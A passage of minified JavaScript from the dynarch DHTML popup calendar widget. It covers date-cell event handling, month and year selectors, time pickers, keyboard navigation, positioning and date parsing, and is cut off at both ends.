r;};Calendar.isRelated = function (el, evt) {var related = evt.relatedTarget;if (!related) {var type = evt.type;if (type == "mouseover") {related = evt.fromElement;} else if (type == "mouseout") {related = evt.toElement;}}while (related) {if (related == el) {return true;}related = related.parentNode;}return false;};Calendar.removeClass = function(el, className) {if (!(el && el.className)) {return;}var cls = el.className.split(" ");var ar = new Array();for (var i = cls.length; i > 0;) {if (cls[--i] != className) {ar[ar.length] = cls[i];}}el.className = ar.join(" ");};Calendar.addClass = function(el, className) {Calendar.removeClass(el, className);el.className += " " + className;};Calendar.getElement = function(ev) {var f = Calendar.is_ie ? window.event.srcElement : ev.currentTarget;while (f.nodeType != 1 || /^div$/i.test(f.tagName))f = f.parentNode;return f;};Calendar.getTargetElement = function(ev) {var f = Calendar.is_ie ? window.event.srcElement : ev.target;while (f.nodeType != 1)f = f.parentNode;return f;};Calendar.stopEvent = function(ev) {ev || (ev = window.event);if (Calendar.is_ie) {ev.cancelBubble = true;ev.returnValue = false;} else {ev.preventDefault();ev.stopPropagation();}return false;};Calendar.addEvent = function(el, evname, func) {if (el.attachEvent) { el.attachEvent("on" + evname, func);} else if (el.addEventListener) { el.addEventListener(evname, func, true);} else {el["on" + evname] = func;}};Calendar.removeEvent = function(el, evname, func) {if (el.detachEvent) { el.detachEvent("on" + evname, func);} else if (el.removeEventListener) { el.removeEventListener(evname, func, true);} else {el["on" + evname] = null;}};Calendar.createElement = function(type, parent) {var el = null;if (document.createElementNS) {el = document.createElementNS("http://www.w3.org/1999/xhtml", type);} else {el = document.createElement(type);}if (typeof parent != "undefined") {parent.appendChild(el);}return el;};Calendar._add_evs = function(el) {with (Calendar) {addEvent(el, "mouseover", dayMouseOver);addEvent(el, "mousedown", dayMouseDown);addEvent(el, "mouseout", dayMouseOut);if (is_ie) {addEvent(el, "dblclick", dayMouseDblClick);el.setAttribute("unselectable", true);}}};Calendar.findMonth = function(el) {if (typeof el.month != "undefined") {return el;} else if (typeof el.parentNode.month != "undefined") {return el.parentNode;}return null;};Calendar.findYear = function(el) {if (typeof el.year != "undefined") {return el;} else if (typeof el.parentNode.year != "undefined") {return el.parentNode;}return null;};Calendar.showMonthsCombo = function () {var cal = Calendar._C;if (!cal) {return false;}var cal = cal;var cd = cal.activeDiv;var mc = cal.monthsCombo;if (cal.hilitedMonth) {Calendar.removeClass(cal.hilitedMonth, "hilite");}if (cal.activeMonth) {Calendar.removeClass(cal.activeMonth, "active");}var mon = cal.monthsCombo.getElementsByTagName("div")[cal.date.getMonth()];Calendar.addClass(mon, "active");cal.activeMonth = mon;var s = mc.style;s.display = "block";if (cd.navtype < 0)s.left = cd.offsetLeft + "px";else {var mcw = mc.offsetWidth;if (typeof mcw == "undefined")mcw = 50;s.left = (cd.offsetLeft + cd.offsetWidth - mcw) + "px";}s.top = (cd.offsetTop + cd.offsetHeight) + "px";};Calendar.showYearsCombo = function (fwd) {var cal = Calendar._C;if (!cal) {return false;}var cal = cal;var cd = cal.activeDiv;var yc = cal.yearsCombo;if (cal.hilitedYear) {Calendar.removeClass(cal.hilitedYear, "hilite");}if (cal.activeYear) {Calendar.removeClass(cal.activeYear, "active");}cal.activeYear = null;var Y = cal.date.getFullYear() + (fwd ? 1 : -1);var yr = yc.firstChild;var show = false;for (var i = 12; i > 0; --i) {if (Y >= cal.minYear && Y <= cal.maxYear) {yr.innerHTML = Y;yr.year = Y;yr.style.display = "block";show = true;} else {yr.style.display = "none";}yr = yr.nextSibling;Y += fwd ? cal.yearStep : -cal.yearStep;}if (show) {var s = yc.style;s.display = "block";if (cd.navtype < 0)s.left = cd.offsetLeft + "px";else {var ycw = yc.offsetWidth;if (typeof ycw == "undefined")ycw = 50;s.left = (cd.offsetLeft + cd.offsetWidth - ycw) + "px";}s.top = (cd.offsetTop + cd.offsetHeight) + "px";}};Calendar.tableMouseUp = function(ev) {var cal = Calendar._C;if (!cal) {return false;}if (cal.timeout) {clearTimeout(cal.timeout);}var el = cal.activeDiv;if (!el) {return false;}var target = Calendar.getTargetElement(ev);ev || (ev = window.event);Calendar.removeClass(el, "active");if (target == el || target.parentNode == el) {Calendar.cellClick(el, ev);}var mon = Calendar.findMonth(target);var date = null;if (mon) {date = new Date(cal.date);if (mon.month != date.getMonth()) {date.setMonth(mon.month);cal.setDate(date);cal.dateClicked = false;cal.callHandler();}} else {var year = Calendar.findYear(target);if (year) {date = new Date(cal.date);if (year.year != date.getFullYear()) {date.setFullYear(year.year);cal.setDate(date);cal.dateClicked = false;cal.callHandler();}}}with (Calendar) {removeEvent(document, "mouseup", tableMouseUp);removeEvent(document, "mouseover", tableMouseOver);removeEvent(document, "mousemove", tableMouseOver);cal._hideCombos();_C = null;return stopEvent(ev);}};Calendar.tableMouseOver = function (ev) {var cal = Calendar._C;if (!cal) {return;}var el = cal.activeDiv;var target = Calendar.getTargetElement(ev);if (target == el || target.parentNode == el) {Calendar.addClass(el, "hilite active");Calendar.addClass(el.parentNode, "rowhilite");} else {if (typeof el.navtype == "undefined" || (el.navtype != 50 && (el.navtype == 0 || Math.abs(el.navtype) > 2)))Calendar.removeClass(el, "active");Calendar.removeClass(el, "hilite");Calendar.removeClass(el.parentNode, "rowhilite");}ev || (ev = window.event);if (el.navtype == 50 && target != el) {var pos = Calendar.getAbsolutePos(el);var w = el.offsetWidth;var x = ev.clientX;var dx;var decrease = true;if (x > pos.x + w) {dx = x - pos.x - w;decrease = false;} elsedx = pos.x - x;if (dx < 0) dx = 0;var range = el._range;var current = el._current;var count = Math.floor(dx / 10) % range.length;for (var i = range.length; --i >= 0;)if (range[i] == current) break; while (count-- > 0) if (decrease) { if (--i < 0) i = range.length - 1; } else if ( ++i >= range.length ) i = 0; var newval = range[i]; el.innerHTML = newval;cal.onUpdateTime(); } var mon = Calendar.findMonth(target); if (mon) { if (mon.month != cal.date.getMonth()) { if (cal.hilitedMonth) { Calendar.removeClass(cal.hilitedMonth, "hilite"); } Calendar.addClass(mon, "hilite"); cal.hilitedMonth = mon; } else if (cal.hilitedMonth) { Calendar.removeClass(cal.hilitedMonth, "hilite"); } } else { if (cal.hilitedMonth) {Calendar.removeClass(cal.hilitedMonth, "hilite");}var year = Calendar.findYear(target);if (year) {if (year.year != cal.date.getFullYear()) {if (cal.hilitedYear) {Calendar.removeClass(cal.hilitedYear, "hilite");}Calendar.addClass(year, "hilite");cal.hilitedYear = year;} else if (cal.hilitedYear) {Calendar.removeClass(cal.hilitedYear, "hilite");}} else if (cal.hilitedYear) {Calendar.removeClass(cal.hilitedYear, "hilite");}}return Calendar.stopEvent(ev);};Calendar.tableMouseDown = function (ev) {if (Calendar.getTargetElement(ev) == Calendar.getElement(ev)) {return Calendar.stopEvent(ev);}};Calendar.calDragIt = function (ev) {var cal = Calendar._C;if (!(cal && cal.dragging)) {return false;}var posX;var posY;if (Calendar.is_ie) {posY = window.event.clientY + document.body.scrollTop;posX = window.event.clientX + document.body.scrollLeft;} else {posX = ev.pageX;posY = ev.pageY;}cal.hideShowCovered();var st = cal.element.style;st.left = (posX - cal.xOffs) + "px";st.top = (posY - cal.yOffs) + "px";return Calendar.stopEvent(ev);};Calendar.calDragEnd = function (ev) {var cal = Calendar._C;if (!cal) {return false;}cal.dragging = false;with (Calendar) {removeEvent(document, "mousemove", calDragIt);removeEvent(document, "mouseup", calDragEnd);tableMouseUp(ev);}cal.hideShowCovered();};Calendar.dayMouseDown = function(ev) {var el = Calendar.getElement(ev); if (el.disabled) { return false; } var cal = el.calendar; cal.activeDiv = el; Calendar._C = cal; if (el.navtype != 300) with (Calendar) { if (el.navtype == 50) { el._current = el.innerHTML; addEvent(document, "mousemove", tableMouseOver); } else addEvent(document, Calendar.is_ie5 ? "mousemove" : "mouseover", tableMouseOver); addClass(el, "hilite active"); addEvent(document, "mouseup", tableMouseUp); } else if (cal.isPopup) { cal._dragStart(ev); } if (el.navtype == -1 || el.navtype == 1) { if (cal.timeout) clearTimeout(cal.timeout); cal.timeout = setTimeout("Calendar.showMonthsCombo()", 250); } else if (el.navtype == -2 || el.navtype == 2) { if (cal.timeout) clearTimeout(cal.timeout); cal.timeout = setTimeout((el.navtype > 0) ? "Calendar.showYearsCombo(true)" : "Calendar.showYearsCombo(false)", 250); } else { cal.timeout = null; } return Calendar.stopEvent(ev); };Calendar.dayMouseDblClick = function(ev) { Calendar.cellClick(Calendar.getElement(ev), ev || window.event); if (Calendar.is_ie) { document.selection.empty(); } };Calendar.dayMouseOver = function(ev) { var el = Calendar.getElement(ev); if (Calendar.isRelated(el, ev) || Calendar._C || el.disabled) { return false; } if (el.ttip) { if (el.ttip.substr(0, 1) == "_") { el.ttip = el.caldate.print(el.calendar.ttDateFormat) + el.ttip.substr(1); } el.calendar.tooltips.innerHTML = el.ttip; } if (el.navtype != 300) { Calendar.addClass(el, "hilite"); if (el.caldate) { Calendar.addClass(el.parentNode, "rowhilite"); } } return Calendar.stopEvent(ev); };Calendar.dayMouseOut = function(ev) { with (Calendar) { var el = getElement(ev); if (isRelated(el, ev) || _C || el.disabled) return false; removeClass(el, "hilite"); if (el.caldate) removeClass(el.parentNode, "rowhilite"); if (el.calendar) el.calendar.tooltips.innerHTML = _TT["SEL_DATE"]; return stopEvent(ev); } }; Calendar.cellClick = function(el, ev) { var cal = el.calendar; var closing = false; var newdate = false; var date = null; if (typeof el.navtype == "undefined") { if (cal.currentDateEl) { Calendar.removeClass(cal.currentDateEl, "selected"); Calendar.addClass(el, "selected"); closing = (cal.currentDateEl == el); if (!closing) { cal.currentDateEl = el; } } cal.date.setDateOnly(el.caldate); date = cal.date; var other_month = !(cal.dateClicked = !el.otherMonth); if (!other_month && !cal.currentDateEl) cal._toggleMultipleDate(new Date(date)); else newdate = !el.disabled;if (other_month) cal._init(cal.firstDayOfWeek, date); } else { if (el.navtype == 200) { Calendar.removeClass(el, "hilite"); cal.callCloseHandler(); return; } date = new Date(cal.date); if (el.navtype == 0) date.setDateOnly(new Date()); cal.dateClicked = false; var year = date.getFullYear(); var mon = date.getMonth(); function setMonth(m) { var day = date.getDate(); var max = date.getMonthDays(m); if (day > max) { date.setDate(max); } date.setMonth(m); }; switch (el.navtype) { case 400: Calendar.removeClass(el, "hilite"); var text = Calendar._TT["ABOUT"]; if (typeof text != "undefined") { text += cal.showsTime ? Calendar._TT["ABOUT_TIME"] : ""; } else {text = "Help and about box text is not translated into this language.\n" + "If you know this language and you feel generous please update\n" + "the corresponding file in \"lang\" subdir to match calendar-en.js\n" + "and send it back to <mihai_bazon@yahoo.com> to get it into the distribution ;-)\n\n" + "Thank you!\n" + "http://dynarch.com/mishoo/calendar.epl\n"; } alert(text); return; case -2: if (year > cal.minYear) { date.setFullYear(year - 1); } break; case -1: if (mon > 0) { setMonth(mon - 1); } else if (year-- > cal.minYear) { date.setFullYear(year); setMonth(11); } break; case 1: if (mon < 11) { setMonth(mon + 1); } else if (year < cal.maxYear) { date.setFullYear(year + 1); setMonth(0); } break; case 2: if (year < cal.maxYear) { date.setFullYear(year + 1); } break; case 100: cal.setFirstDayOfWeek(el.fdow); return; case 50: var range = el._range; var current = el.innerHTML; for (var i = range.length; --i >= 0;) if (range[i] == current) break; if (ev && ev.shiftKey) { if (--i < 0) i = range.length - 1; } else if ( ++i >= range.length ) i = 0; var newval = range[i]; el.innerHTML = newval; cal.onUpdateTime(); return; case 0:if ((typeof cal.getDateStatus == "function") && cal.getDateStatus(date, date.getFullYear(), date.getMonth(), date.getDate())) { return false; } break; } if (!date.equalsTo(cal.date)) { cal.setDate(date); newdate = true; } else if (el.navtype == 0) newdate = closing = true; } if (newdate) { ev && cal.callHandler(); } if (closing) { Calendar.removeClass(el, "hilite"); ev && cal.callCloseHandler(); } }; Calendar.prototype.create = function (_par) { var parent = null; if (! _par) { parent = document.getElementsByTagName("body")[0]; this.isPopup = true; } else { parent = _par; this.isPopup = false; } this.date = this.dateStr ? new Date(this.dateStr) : new Date();var table = Calendar.createElement("table"); this.table = table; table.cellSpacing = 0; table.cellPadding = 0; table.calendar = this; Calendar.addEvent(table, "mousedown", Calendar.tableMouseDown);var div = Calendar.createElement("div"); this.element = div; div.className = "calendar"; if (this.isPopup) { div.style.position = "absolute"; div.style.display = "none"; } div.appendChild(table);var thead = Calendar.createElement("thead", table); var cell = null; var row = null;var cal = this; var hh = function (text, cs, navtype) { cell = Calendar.createElement("td", row); cell.colSpan = cs; cell.className = "button"; if (navtype != 0 && Math.abs(navtype) <= 2) cell.className += " nav"; Calendar._add_evs(cell); cell.calendar = cal; cell.navtype = navtype; cell.innerHTML = "<div unselectable='on'>" + text + "</div>"; return cell; };row = Calendar.createElement("tr", thead); var title_length = 6; (this.isPopup) && --title_length; (this.weekNumbers) && ++title_length;hh("?", 1, 400).ttip = Calendar._TT["INFO"]; this.title = hh("", title_length, 300); this.title.className = "title"; if (this.isPopup) { this.title.ttip = Calendar._TT["DRAG_TO_MOVE"]; this.title.style.cursor = "move"; hh("&#x00d7;", 1, 200).ttip = Calendar._TT["CLOSE"]; }row = Calendar.createElement("tr", thead); row.className = "headrow";this._nav_py = hh("&#x00ab;", 1, -2); this._nav_py.ttip = Calendar._TT["PREV_YEAR"];this._nav_pm = hh("&#x2039;", 1, -1); this._nav_pm.ttip = Calendar._TT["PREV_MONTH"];this._nav_now = hh(Calendar._TT["TODAY"], this.weekNumbers ? 4 : 3, 0); this._nav_now.ttip = Calendar._TT["GO_TODAY"];this._nav_nm = hh("&#x203a;", 1, 1); this._nav_nm.ttip = Calendar._TT["NEXT_MONTH"];this._nav_ny = hh("&#x00bb;", 1, 2); this._nav_ny.ttip = Calendar._TT["NEXT_YEAR"]; row = Calendar.createElement("tr", thead); row.className = "daynames"; if (this.weekNumbers) { cell = Calendar.createElement("td", row); cell.className = "name wn"; cell.innerHTML = Calendar._TT["WK"]; } for (var i = 7; i > 0; --i) { cell = Calendar.createElement("td", row); if (!i) { cell.navtype = 100; cell.calendar = this; Calendar._add_evs(cell); } } this.firstdayname = (this.weekNumbers) ? row.firstChild.nextSibling : row.firstChild; this._displayWeekdays();var tbody = Calendar.createElement("tbody", table); this.tbody = tbody;for (i = 6; i > 0; --i) { row = Calendar.createElement("tr", tbody); if (this.weekNumbers) { cell = Calendar.createElement("td", row); } for (var j = 7; j > 0; --j) { cell = Calendar.createElement("td", row); cell.calendar = this; Calendar._add_evs(cell); } }if (this.showsTime) { row = Calendar.createElement("tr", tbody); row.className = "time";cell = Calendar.createElement("td", row); cell.className = "time"; cell.colSpan = 2; cell.innerHTML = Calendar._TT["TIME"] || "&nbsp;";cell = Calendar.createElement("td", row); cell.className = "time"; cell.colSpan = this.weekNumbers ? 4 : 3;(function(){ function makeTimePart(className, init, range_start, range_end) { var part = Calendar.createElement("span", cell); part.className = className; part.innerHTML = init; part.calendar = cal; part.ttip = Calendar._TT["TIME_PART"]; part.navtype = 50; part._range = []; if (typeof range_start != "number") part._range = range_start; else { for (var i = range_start; i <= range_end; ++i) { var txt; if (i < 10 && range_end >= 10) txt = '0' + i; else txt = '' + i; part._range[part._range.length] = txt; } } Calendar._add_evs(part); return part; }; var hrs = cal.date.getHours(); var mins = cal.date.getMinutes(); var t12 = !cal.time24; var pm = (hrs > 12); if (t12 && pm) hrs -= 12; var H = makeTimePart("hour", hrs, t12 ? 1 : 0, t12 ? 12 : 23); var span = Calendar.createElement("span", cell); span.innerHTML = ":"; span.className = "colon"; var M = makeTimePart("minute", mins, 0, 59); var AP = null; cell = Calendar.createElement("td", row); cell.className = "time"; cell.colSpan = 2; if (t12) AP = makeTimePart("ampm", pm ? "pm" : "am", ["am", "pm"]); else cell.innerHTML = "&nbsp;";cal.onSetTime = function() { var pm, hrs = this.date.getHours(), mins = this.date.getMinutes(); if (t12) { pm = (hrs >= 12); if (pm) hrs -= 12; if (hrs == 0) hrs = 12; AP.innerHTML = pm ? "pm" : "am"; } H.innerHTML = (hrs < 10) ? ("0" + hrs) : hrs; M.innerHTML = (mins < 10) ? ("0" + mins) : mins; };cal.onUpdateTime = function() { var date = this.date; var h = parseInt(H.innerHTML, 10); if (t12) { if (/pm/i.test(AP.innerHTML) && h < 12) h += 12; else if (/am/i.test(AP.innerHTML) && h == 12) h = 0; } var d = date.getDate(); var m = date.getMonth(); var y = date.getFullYear(); date.setHours(h); date.setMinutes(parseInt(M.innerHTML, 10)); date.setFullYear(y); date.setMonth(m); date.setDate(d); this.dateClicked = false; this.callHandler(); }; })(); } else { this.onSetTime = this.onUpdateTime = function() {}; }var tfoot = Calendar.createElement("tfoot", table);row = Calendar.createElement("tr", tfoot); row.className = "footrow";cell = hh(Calendar._TT["SEL_DATE"], this.weekNumbers ? 8 : 7, 300); cell.className = "ttip"; if (this.isPopup) { cell.ttip = Calendar._TT["DRAG_TO_MOVE"]; cell.style.cursor = "move"; } this.tooltips = cell;div = Calendar.createElement("div", this.element); this.monthsCombo = div; div.className = "combo"; for (i = 0; i < Calendar._MN.length; ++i) { var mn = Calendar.createElement("div"); mn.className = Calendar.is_ie ? "label-IEfix" : "label"; mn.month = i; mn.innerHTML = Calendar._SMN[i]; div.appendChild(mn); }div = Calendar.createElement("div", this.element); this.yearsCombo = div; div.className = "combo"; for (i = 12; i > 0; --i) { var yr = Calendar.createElement("div"); yr.className = Calendar.is_ie ? "label-IEfix" : "label"; div.appendChild(yr); }this._init(this.firstDayOfWeek, this.date); parent.appendChild(this.element); }; Calendar._keyEvent = function(ev) { var cal = window._dynarch_popupCalendar; if (!cal || cal.multiple) return false; (Calendar.is_ie) && (ev = window.event); var act = (Calendar.is_ie || ev.type == "keypress"), K = ev.keyCode; if (ev.ctrlKey) { switch (K) { case 37: act && Calendar.cellClick(cal._nav_pm); break; case 38: act && Calendar.cellClick(cal._nav_py); break; case 39: act && Calendar.cellClick(cal._nav_nm); break; case 40: act && Calendar.cellClick(cal._nav_ny); break; default: return false; } } else switch (K) { case 32: Calendar.cellClick(cal._nav_now); break; case 27: act && cal.callCloseHandler(); break; case 37: case 38: case 39: case 40: if (act) { var prev, x, y, ne, el, step; prev = K == 37 || K == 38; step = (K == 37 || K == 39) ? 1 : 7; function setVars() { el = cal.currentDateEl; var p = el.pos; x = p & 15; y = p >> 4; ne = cal.ar_days[y][x]; };setVars(); function prevMonth() { var date = new Date(cal.date); date.setDate(date.getDate() - step); cal.setDate(date); }; function nextMonth() { var date = new Date(cal.date); date.setDate(date.getDate() + step); cal.setDate(date); }; while (1) { switch (K) { case 37: if (--x >= 0) ne = cal.ar_days[y][x]; else { x = 6; K = 38; continue; } break; case 38: if (--y >= 0) ne = cal.ar_days[y][x]; else { prevMonth(); setVars(); } break; case 39: if (++x < 7) ne = cal.ar_days[y][x]; else { x = 0; K = 40; continue; } break; case 40: if (++y < cal.ar_days.length) ne = cal.ar_days[y][x]; else { nextMonth(); setVars(); } break; } break; } if (ne) { if (!ne.disabled) Calendar.cellClick(ne); else if (prev) prevMonth(); else nextMonth(); } } break; case 13: if (act) Calendar.cellClick(cal.currentDateEl, ev); break; default: return false; } return Calendar.stopEvent(ev); }; Calendar.prototype._init = function (firstDayOfWeek, date) { var today = new Date(), TY = today.getFullYear(), TM = today.getMonth(), TD = today.getDate(); this.table.style.visibility = "hidden"; var year = date.getFullYear(); if (year < this.minYear) { year = this.minYear; date.setFullYear(year); } else if (year > this.maxYear) { year = this.maxYear; date.setFullYear(year); } this.firstDayOfWeek = firstDayOfWeek; this.date = new Date(date); var month = date.getMonth(); var mday = date.getDate(); var no_days = date.getMonthDays(); date.setDate(1); var day1 = (date.getDay() - this.firstDayOfWeek) % 7; if (day1 < 0) day1 += 7; date.setDate(-day1); date.setDate(date.getDate() + 1);var row = this.tbody.firstChild; var MN = Calendar._SMN[month]; var ar_days = this.ar_days = new Array(); var weekend = Calendar._TT["WEEKEND"]; var dates = this.multiple ? (this.datesCells = {}) : null; for (var i = 0; i < 6; ++i, row = row.nextSibling) { var cell = row.firstChild; if (this.weekNumbers) { cell.className = "day wn"; cell.innerHTML = date.getWeekNumber(); cell = cell.nextSibling; } row.className = "daysrow"; var hasdays = false, iday, dpos = ar_days[i] = []; for (var j = 0; j < 7; ++j, cell = cell.nextSibling, date.setDate(iday + 1)) { iday = date.getDate(); var wday = date.getDay(); cell.className = "day"; cell.pos = i << 4 | j; dpos[j] = cell; var current_month = (date.getMonth() == month); if (!current_month) { if (this.showsOtherMonths) { cell.className += " othermonth"; cell.otherMonth = true; } else { cell.className = "emptycell"; cell.innerHTML = "&nbsp;"; cell.disabled = true; continue; } } else { cell.otherMonth = false; hasdays = true; } cell.disabled = false; cell.innerHTML = this.getDateText ? this.getDateText(date, iday) : iday; if (dates) dates[date.print("%Y%m%d")] = cell; if (this.getDateStatus) { var status = this.getDateStatus(date, year, month, iday); if (this.getDateToolTip) { var toolTip = this.getDateToolTip(date, year, month, iday); if (toolTip) cell.title = toolTip; } if (status === true) { cell.className += " disabled"; cell.disabled = true; } else { if (/disabled/i.test(status)) cell.disabled = true; cell.className += " " + status; } } if (!cell.disabled) { cell.caldate = new Date(date); cell.ttip = "_"; if (!this.multiple && current_month && iday == mday && this.hiliteToday) { cell.className += " selected"; this.currentDateEl = cell; } if (date.getFullYear() == TY && date.getMonth() == TM && iday == TD) { cell.className += " today"; cell.ttip += Calendar._TT["PART_TODAY"]; } if (weekend.indexOf(wday.toString()) != -1) cell.className += cell.otherMonth ? " oweekend" : " weekend"; } } if (!(hasdays || this.showsOtherMonths)) row.className = "emptyrow"; } this.title.innerHTML = Calendar._MN[month] + ", " + year; this.onSetTime(); this.table.style.visibility = "visible"; this._initMultipleDates(); };Calendar.prototype._initMultipleDates = function() { if (this.multiple) { for (var i in this.multiple) { var cell = this.datesCells[i]; var d = this.multiple[i]; if (!d) continue; if (cell) cell.className += " selected"; } } };Calendar.prototype._toggleMultipleDate = function(date) { if (this.multiple) { var ds = date.print("%Y%m%d"); var cell = this.datesCells[ds]; if (cell) { var d = this.multiple[ds]; if (!d) { Calendar.addClass(cell, "selected"); this.multiple[ds] = date; } else { Calendar.removeClass(cell, "selected"); delete this.multiple[ds]; } } } };Calendar.prototype.setDateToolTipHandler = function (unaryFunction) { this.getDateToolTip = unaryFunction; }; Calendar.prototype.setDate = function (date) { if (!date.equalsTo(this.date)) { this._init(this.firstDayOfWeek, date); } }; Calendar.prototype.refresh = function () { this._init(this.firstDayOfWeek, this.date); }; Calendar.prototype.setFirstDayOfWeek = function (firstDayOfWeek) { this._init(firstDayOfWeek, this.date); this._displayWeekdays(); }; Calendar.prototype.setDateStatusHandler = Calendar.prototype.setDisabledHandler = function (unaryFunction) { this.getDateStatus = unaryFunction; }; Calendar.prototype.setRange = function (a, z) { this.minYear = a; this.maxYear = z; }; Calendar.prototype.callHandler = function () { if (this.onSelected) { this.onSelected(this, this.date.print(this.dateFormat)); } }; Calendar.prototype.callCloseHandler = function () { if (this.onClose) { this.onClose(this); } this.hideShowCovered(); }; Calendar.prototype.destroy = function () { var el = this.element.parentNode; el.removeChild(this.element); Calendar._C = null; window._dynarch_popupCalendar = null; }; Calendar.prototype.reparent = function (new_parent) { var el = this.element; el.parentNode.removeChild(el); new_parent.appendChild(el); }; Calendar._checkCalendar = function(ev) { var calendar = window._dynarch_popupCalendar; if (!calendar) { return false; } var el = Calendar.is_ie ? Calendar.getElement(ev) : Calendar.getTargetElement(ev); for (; el != null && el != calendar.element; el = el.parentNode); if (el == null) {window._dynarch_popupCalendar.callCloseHandler(); return Calendar.stopEvent(ev); } }; Calendar.prototype.show = function () { var rows = this.table.getElementsByTagName("tr"); for (var i = rows.length; i > 0;) { var row = rows[--i]; Calendar.removeClass(row, "rowhilite"); var cells = row.getElementsByTagName("td"); for (var j = cells.length; j > 0;) { var cell = cells[--j]; Calendar.removeClass(cell, "hilite"); Calendar.removeClass(cell, "active"); } } this.element.style.display = "block"; this.hidden = false; if (this.isPopup) { window._dynarch_popupCalendar = this; Calendar.addEvent(document, "keydown", Calendar._keyEvent); Calendar.addEvent(document, "keypress", Calendar._keyEvent); Calendar.addEvent(document, "mousedown", Calendar._checkCalendar); } this.hideShowCovered(); }; Calendar.prototype.hide = function () { if (this.isPopup) { Calendar.removeEvent(document, "keydown", Calendar._keyEvent); Calendar.removeEvent(document, "keypress", Calendar._keyEvent); Calendar.removeEvent(document, "mousedown", Calendar._checkCalendar); } this.element.style.display = "none"; this.hidden = true; this.hideShowCovered(); };Calendar.prototype.showAt = function (x, y) { var s = this.element.style; s.left = x + "px"; s.top = y + "px"; this.show(); }; Calendar.prototype.showAtElement = function (el, opts) { var self = this; var p = Calendar.getAbsolutePos(el); if (!opts || typeof opts != "string") { this.showAt(p.x, p.y + el.offsetHeight); return true; } function fixPosition(box) { if (box.x < 0) box.x = 0; if (box.y < 0) box.y = 0; var cp = document.createElement("div"); var s = cp.style; s.position = "absolute"; s.right = s.bottom = s.width = s.height = "0px"; document.body.appendChild(cp); var br = Calendar.getAbsolutePos(cp); document.body.removeChild(cp); if (Calendar.is_ie) { br.y += document.body.scrollTop; br.x += document.body.scrollLeft; } else { br.y += window.scrollY; br.x += window.scrollX; } var tmp = box.x + box.width - br.x; if (tmp > 0) box.x -= tmp; tmp = box.y + box.height - br.y; if (tmp > 0) box.y -= tmp; }; this.element.style.display = "block"; Calendar.continuation_for_the_fucking_khtml_browser = function() { var w = self.element.offsetWidth; var h = self.element.offsetHeight; self.element.style.display = "none"; var valign = opts.substr(0, 1); var halign = "l"; if (opts.length > 1) { halign = opts.substr(1, 1); }switch (valign) { case "T": p.y -= h; break; case "B": p.y += el.offsetHeight; break; case "C": p.y += (el.offsetHeight - h) / 2; break; case "t": p.y += el.offsetHeight - h; break; case "b": break; }switch (halign) { case "L": p.x -= w; break; case "R": p.x += el.offsetWidth; break; case "C": p.x += (el.offsetWidth - w) / 2; break; case "l": p.x += el.offsetWidth - w; break; case "r": break; } p.width = w; p.height = h + 40; self.monthsCombo.style.display = "none"; fixPosition(p); self.showAt(p.x, p.y); }; if (Calendar.is_khtml) setTimeout("Calendar.continuation_for_the_fucking_khtml_browser()", 10); else Calendar.continuation_for_the_fucking_khtml_browser(); }; Calendar.prototype.setDateFormat = function (str) { this.dateFormat = str; }; Calendar.prototype.setTtDateFormat = function (str) { this.ttDateFormat = str; }; Calendar.prototype.parseDate = function(str, fmt) { if (!fmt) fmt = this.dateFormat; this.setDate(Date.parseDate(str, fmt)); }; Calendar.prototype.hideShowCovered = function () { if (!Calendar.is_ie && !Calendar.is_opera) return; function getVisib(obj){ var value = obj.style.visibility; if (!value) { if (document.defaultView && typeof (document.defaultView.getComputedStyle) == "function") { if (!Calendar.is_khtml) value = document.defaultView. getComputedStyle(obj, "").getPropertyValue("visibility"); else value = ''; } else if (obj.currentStyle) { value = obj.currentStyle.visibility; } else value = ''; } return value; };var tags = new Array("applet", "iframe", "select"); var el = this.element;var p = Calendar.getAbsolutePos(el); var EX1 = p.x; var EX2 = el.offsetWidth + EX1; var EY1 = p.y; var EY2 = el.offsetHeight + EY1;for (var k = tags.length; k > 0; ) { var ar = document.getElementsByTagName(tags[--k]); var cc = null;for (var i = ar.length; i > 0;) { cc = ar[--i];p = Calendar.getAbsolutePos(cc); var CX1 = p.x; var CX2 = cc.offsetWidth + CX1; var CY1 = p.y; var CY2 = cc.offsetHeight + CY1;if (this.hidden || (CX1 > EX2) || (CX2 < EX1) || (CY1 > EY2) || (CY2 < EY1)) { if (!cc.__msh_save_visibility) { cc.__msh_save_visibility = getVisib(cc); } cc.style.visibility = cc.__msh_save_visibility; } else { if (!cc.__msh_save_visibility) { cc.__msh_save_visibility = getVisib(cc); } cc.style.visibility = "hidden"; } } } }; Calendar.prototype._displayWeekdays = function () { var fdow = this.firstDayOfWeek; var cell = this.firstdayname; var weekend = Calendar._TT["WEEKEND"]; for (var i = 0; i < 7; ++i) { cell.className = "day name"; var realday = (i + fdow) % 7; if (i) { cell.ttip = Calendar._TT["DAY_FIRST"].replace("%s", Calendar._DN[realday]); cell.navtype = 100; cell.calendar = this; cell.fdow = realday; Calendar._add_evs(cell); } if (weekend.indexOf(realday.toString()) != -1) { Calendar.addClass(cell, "weekend"); } cell.innerHTML = Calendar._SDN[(i + fdow) % 7]; cell = cell.nextSibling; } }; Calendar.prototype._hideCombos = function () { this.monthsCombo.style.display = "none"; this.yearsCombo.style.display = "none"; }; Calendar.prototype._dragStart = function (ev) { if (this.dragging) { return; } this.dragging = true; var posX; var posY; if (Calendar.is_ie) { posY = window.event.clientY + document.body.scrollTop; posX = window.event.clientX + document.body.scrollLeft; } else { posY = ev.clientY + window.scrollY; posX = ev.clientX + window.scrollX; } var st = this.element.style; this.xOffs = posX - parseInt(st.left); this.yOffs = posY - parseInt(st.top); with (Calendar) { addEvent(document, "mousemove", calDragIt); addEvent(document, "mouseup", calDragEnd); } }; Date._MD = new Array(31,28,31,30,31,30,31,31,30,31,30,31); Date.SECOND = 1000 /* milliseconds */; Date.MINUTE = 60 * Date.SECOND; Date.HOUR = 60 * Date.MINUTE; Date.DAY = 24 * Date.HOUR; Date.WEEK = 7 * Date.DAY;Date.parseDate = function(str, fmt) { var today = new Date(); var y = 0; var m = -1; var d = 0; var a = str.split(/\W+/); var b = fmt.match(/%./g); var i = 0, j = 0; var hr = 0; var min = 0; for (i = 0; i < a.length; ++i) { if (!a[i]) continue; switch (b[i]) { case "%d": case "%e": d = parseInt(a[i], 10); break; case "%m": m = parseInt(a[i], 10) - 1; break; case "%Y": case "%y": y = parseInt(a[i], 10); (y < 100) && (y += (y > 29) ? 1900 : 2000); break; case "%b": case "%B": for (j = 0; j < 12; ++j) { if (Calendar._MN[j].substr(0, a[i].length).toLowerCase() == a[i].toLowerCase()) { m = j; break; } } break; case "%H": case "%I": case "%k": case "%l": hr = parseInt(a[i], 10); break; case 